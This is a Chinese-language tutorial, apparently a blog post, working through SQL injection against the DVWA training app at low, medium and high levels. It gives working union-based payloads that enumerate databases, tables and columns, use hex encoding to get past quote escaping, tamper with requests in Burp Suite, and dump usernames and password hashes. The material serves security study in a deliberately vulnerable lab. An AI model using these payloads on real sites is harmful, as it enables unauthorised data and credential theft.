SQL数字注入和字符注入
文章目录
LOW
whatis数字注入和字符注入
字符注入
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
这里$id被紧挨着的一对单引号引用起来,所以是字符型注入
数字注入
如果是数字型注入则写为:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
这两种方式都可以执行sql命令,数字型相比于字符型更容易被注入
如果是数字型
比如前端填写表单id时不老实填写整数,而是写了:
1 or true;
然后前端发给后端就有
$id='1 or true'
然后组装成sql语句有
$query = "SELECT first_name, last_name FROM users WHERE user_id = 1 or true";
然后执行起来永远为真,即where子句失去筛选作用,会返回所有用户信息
如果是字符型
此时如果直接写1 or true则后端组装的语句为
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1 or true'";
由于user_id为int类型,1 or true会去掉字符留下数字,实际上执行的是
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1'";
因此如果想要让union select命令也能够执行,需要先让'$id'
左右单引号号不要多管闲事,即让’1 or true’变成’1’ or true
方法是使用#注释(有时需要用其转义%23)
比如前端写:
1' and false #
发送给后端就有
$id="1 ' and false #"
组装成sql语句有
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' and false #'";//注意这里#只是注释了其后的',双引号是php字符串的结束
这里多余的单引号被注释掉,语法就正确了
手动测试是否存在sql注入漏洞
DVWA SQLinjection low难度
怎么测试是否存在sql注入漏洞呢?
1.一般来说直接输入一个单引号,如果报错则说明存在注入(说明后端没有过滤我们的输入,导致我们的输入可以直接对数据库进行控制产生数据库报错)
2.**以区分数字注入和字符注入为目的,**在User ID中输入1’ or true#(这里#有时需要用其转义%23)运行后证明是存在漏洞的
服务端源码观察是否存在漏洞
在未注入之前我们是看不到服务端源码的,这里看代码只是马后炮,为了验证我们的猜想
<?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input $id = $_REQUEST[ 'id' ]; switch ($_DVWA['SQLI_DB']) { case MYSQL: // Check database $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";//关键 $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); // Get results while( $row = mysqli_fetch_assoc( $result ) ) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } mysqli_close($GLOBALS["___mysqli_ston"]); break; case SQLITE: global $sqlite_db_connection; #$sqlite_db_connection = new SQLite3($_DVWA['SQLITE_DB']); #$sqlite_db_connection->enableExceptions(true); $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } ?>
关键在于:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
这一句其中的
$id
,这里的$id
是从REQUEST(包括POST和GET)得到的,前端的代码:观察后端的php代码,没有对
$id
的内容有过滤,前端发给后端的GET数据直接被拼接到sql语句中执行了设计者期望的输入就是
$id
为一个整数,但是我们可以输入其他sql命令的语句
区分是字符注入和数字注入?
考虑如果前端这样写:
1'#
如果是数字型,那么最终的sql语句为
$query = "SELECT first_name, last_name FROM users WHERE user_id = 1'#"
最后多了一个单引号不闭合(#为注释符号无作用)会报告错误
但是如果是字符型,那么最终的sql语句为
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1'#'"
'1'#'最后这个'恰好被#注释掉了,因此符号是闭合的
即这种情况下字符型不会报错
运行结果:
没有报错
为什么打印出来的ID也是傻了吧唧的样子?
因为服务端的代码就是原封不动地打印ID,输入啥打印啥
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
套路数据库
我们已经判断出存在SQL注入,并且是字符注入,然后要干啥呢?
后面的工作就相当于在自己的电脑上远程操作服务端上的数据库了
查询当前表内容
比如如果想要查询当前表的所有内容,我们正儿八经地用命令行应该这么写:
select * from <tablename>;
或者是
select * from <tablename> where true;#这里where子句条件为true实际上等于没有条件
在DVWA页面上的表单里应该这么写:
1' or 'sth'='sth 这里后面的'sth故意符号不闭合,目的是与'$id'后面这个'闭合
这样写后端组装的sql语句为:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '1' or 'sth'='sth'"
符号闭合不会报错,并且where条件子句中or后件为’sth’='sth’永真,就相当于
$query = "SELECT first_name, last_name FROM users where true"
$query = "SELECT first_name, last_name FROM users"
那么应该能够打印所有用户的姓名信息,事实上确实如此
查询当前数据库,数据库软件版本号等信息
正儿八经的查询
在DVWA页面中查询之前先熟悉一下MySQL中如何查询
比如我们有一个empire数据库,里面有officers等数据表,officers数据表如下
mysql> use empire;
Database changed
mysql> show tables;
+------------------+
| Tables_in_empire |
+------------------+
| Winners |
| commanders |
| employee_tbl |
| mytable |
| newOfficers |
| newtable |
| officers |
| popularity |
+------------------+
8 rows in set (0.01 sec)
mysql> select * from officers;
+----+---------------+----------+---------------+
| id | name | position | military_rank |
+----+---------------+----------+---------------+
| 5 | Darth Vader | executor | soldier |
| 6 | Darth Sidious | emperor | soldier |
+----+---------------+----------+---------------+
2 rows in set (0.00 sec)
1.如果我们想要查询officers下id为5的官员的姓名和职位,不要军衔,那么可以这样写:
mysql> select name,position from officers where id=5;
+-------------+----------+
| name | position |
+-------------+----------+
| Darth Vader | executor |
+-------------+----------+
1 row in set (0.00 sec)
2.现在构造一个查询语句,使得返回的表结构如下:
+-------------+----------+
| name | position |
+-------------+----------+
| Darth Vader | executor |
|1 |2 |
+-------------+----------+
考虑该查询语句应该怎么写?
mysql> select name,position from officers where id=5 union select 1,2;
+-------------+----------+
| name | position |
+-------------+----------+
| Darth Vader | executor |
| 1 | 2 |
+-------------+----------+
2 rows in set (0.00 sec)
这里union语句的意思是后文的查询合并到前文的表中,如果后面的语句为union select 1,2,3;或者union select 1;都会报错,因为列数与前文不匹配
select又相当于打印语句,直接将1和2打印到表中
3.现在希望将第2步中的1位置打印数据库信息,2位置打印MySQL版本信息,考虑应该怎么写语句?
mysql> select name,position from officers where id=5 union select database(),version();
+-------------+-------------------------+
| name | position |
+-------------+-------------------------+
| Darth Vader | executor |
| empire | 8.0.27-0ubuntu0.20.04.1 |
+-------------+-------------------------+
2 rows in set (0.01 sec)
在DVWA页面的表单中的查询
通过前面的测试我们观察到
打印结果1’#是跟随表单输入变化的,应该不是数据库的作用
First name和Surname应该是查询数据库返回的结果,这是两个回显位置,我们可以大体推测后端组装的查询语句为:
select Firstname,surname from <tablename> where id='$id';
事实上确实如此
后端源码:
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
现在我们应该可以使用union语句将数据库和版本信息从下一行"套路"出来
页面表单上应该这么填写:
1' union select database(),version()#
submit之后
得知当前数据表所在数据库名称为dvwa,数据库软件的版本号为5.7.26
查询数据库下所有表名
"正儿八经"的写法
假设现有数据库及其中一张表如下:
mysql> use empire;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select * from officers;
+----+---------------+----------+---------------+
| id | name | position | military_rank |
+----+---------------+----------+---------------+
| 5 | Darth Vader | executor | soldier |
| 6 | Darth Sidious | emperor | soldier |
+----+---------------+----------+---------------+
2 rows in set (0.00 sec)
希望使用union查询语句,查询officers表中id为5的官员的姓名和职位,
联合查询empire数据库下所有的数据表名
补充MySQL相关知识:
1.当前使用数据库a,如何访问数据库b中的某个表的某些数据呢?
数据库名.数据表名
mysql> show databases;//查看所有数据库
+--------------------+
| Database |
+--------------------+
| earth |
| empire |
| information_schema |
| mysql |
| newschema |
| performance_schema |
| sys |
+--------------------+
7 rows in set (0.00 sec)
mysql> use earth;//使用earth数据库
Database changed
mysql> show tables from empire;//查看empire数据库的所有数据表,如果不写from则为默认查看当前数据库(earth)中的数据表
+------------------+
| Tables_in_empire |
+------------------+
| Winners |
| commanders |
| employee_tbl |
| mytable |
| newOfficers |
| newtable |
| officers |
| popularity |
+------------------+
8 rows in set (0.00 sec)
mysql> select * from empire.officers;//empire.officers指定到数据表
+----+---------------+----------+---------------+
| id | name | position | military_rank |
+----+---------------+----------+---------------+
| 5 | Darth Vader | executor | soldier |
| 6 | Darth Sidious | emperor | soldier |
+----+---------------+----------+---------------+
2 rows in set (0.00 sec)
2.元数据
元数据就是数据的数据,比如数据库名或者数据表名,列数据属性等等
infomation_schema数据库为MySQL自带的,提供访问元数据的方式
其下的表有好多个
比如
TABLES用来存放已经存在的数据表
CHARACTER_SETS用来存放字符编码方式:
COLUMNS用来存放列信息
查询当前所在数据库的所有数据表
mysql> use empire;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> select table_name from information_schema.tables where table_schema=database();
+----------------------------------------------------------------------------------+
| group_concat(table_name) |
+----------------------------------------------------------------------------------+
| Winners,commanders,employee_tbl,mytable,newOfficers,newtable,officers,popularity |
+----------------------------------------------------------------------------------+
1 row in set (0.01 sec)
由于返回值可能不光占用了一列,可能是多个字符串组成的,
使用group_concat函数就可以合并多个字符串为一个字符串
在DVWA页面中就应当写为
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
然而却报错了:
Illegal mix of collations for operation 'UNION'
网上的说法是编码方式不一致不能放到一个列里,即同一列需要编码方式一致
使用hex编码然后unhex解码之后
1' union select 1,group_concat(unhex(hex(table_name))) from information_schema.tables where table_schema=database()#
得到:
于是得到当前数据库下只有两个数据表,那么UserID从字面上来说,应该是从users表里面查的
查询字段名
在mysql上
mysql> select 1,group_concat(column_name) from information_schema.columns where table_name='officers';
+---+--------------------------------+
| 1 | group_concat(column_name) |
+---+--------------------------------+
| 1 | id,military_rank,name,position |
+---+--------------------------------+
1 row in set (0.00 sec)
在DVWA页面上:
1' union select 1,unhex(hex(group_concat(column_name))) from information_schema.columns where table_name='users'#
我们又得知了users表的用户名和密码等字段值,下面查询这些字段值的记录
1' union select user,password from users#
Medium
中等难度将表格框改成了下拉框并且只有五个选择项目
看似限定了输入,但是由于这是前端的限定,没有传送到后端之前一切都不算数,可以用抓包工具修改参数
点击submit之后用burp suite professional抓包:
显然我们可以在id 的value处做一些手脚
比如value=1改为value=1’然后转发,浏览器报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
推测存在sql注入
为了区分数字注入还是字符注入,我们可以令value=1’#,如果报错则为数字注入,否则为字符注入
转发后发现报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'#' at line 1
因此为数字注入
推测服务端的代码为
$id=POST['_id'];
select firstname,surname from <tablename> where id=$id;
即有两个回显位置,一个是firstname,一个是surname
令where子句永真查看所有用户信息
1 or true
使用union select语句套路数据库
查看当前使用数据库和版本信息
1 union select database(),version()
查看当前数据库下的数据数据表
1 union select 1,unhex(hex(group_concat(table_name))) from information_schema.tables where table_schema=database()
查询users的字段值
当我们企图通过下面语句查询users数据表的字段值时却发生了错误
1 union select 1,unhex(hex(group_concat(column_name))) where table_name='users'
报错:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'users\'' at line 1
即服务端php代码在查询数据库之前过滤掉了输入中的引号(双引号试了试也是这样的错误)
使用16进制绕过
1 union select 1,unhex(hex(group_concat(column_name))) from information_schema.columns where table_name=0x75736572
回显:
ID: 1 union select 1,unhex(hex(group_concat(column_name))) from information_schema.columns where table_name=0x7573657273
First name: admin
Surname: admin
ID: 1 union select 1,unhex(hex(group_concat(column_name))) from information_schema.columns where table_name=0x7573657273
First name: 1
Surname: user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS
1 union select user,password from users
引号过滤是怎么实现的?
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
function mysqli_real_escape_string(mysqli $mysql, string $string) string Escapes special characters in a string for use in an SQL statement, taking into account the current charset of the connection //对字符串中的特殊字符转义,以便在 SQL 语句中使用,同时考虑到连接的当前字符集 Parameters: mysqli $mysql A link identifier returned by mysqli_connect() or mysqli_init() string $string The string to be escaped. Characters encoded are NUL (ASCII 0), \n, \r, \, ', ", and Control-Z. Links: https://php.net/manual/en/mysqli.real-escape-string.php Source: D:/PhpStorm 2021.3.1/plugins/php/lib/php.jar!/stubs/mysqli/mysqli.php
这个函数将$id
中的NUL (ASCII 0), \n, \r, \, ', ", and Control-Z
等等符号都转义了
High
session
文本框里输入1’or true#立刻证明是字符注入
后面的步骤与low和medium大体相似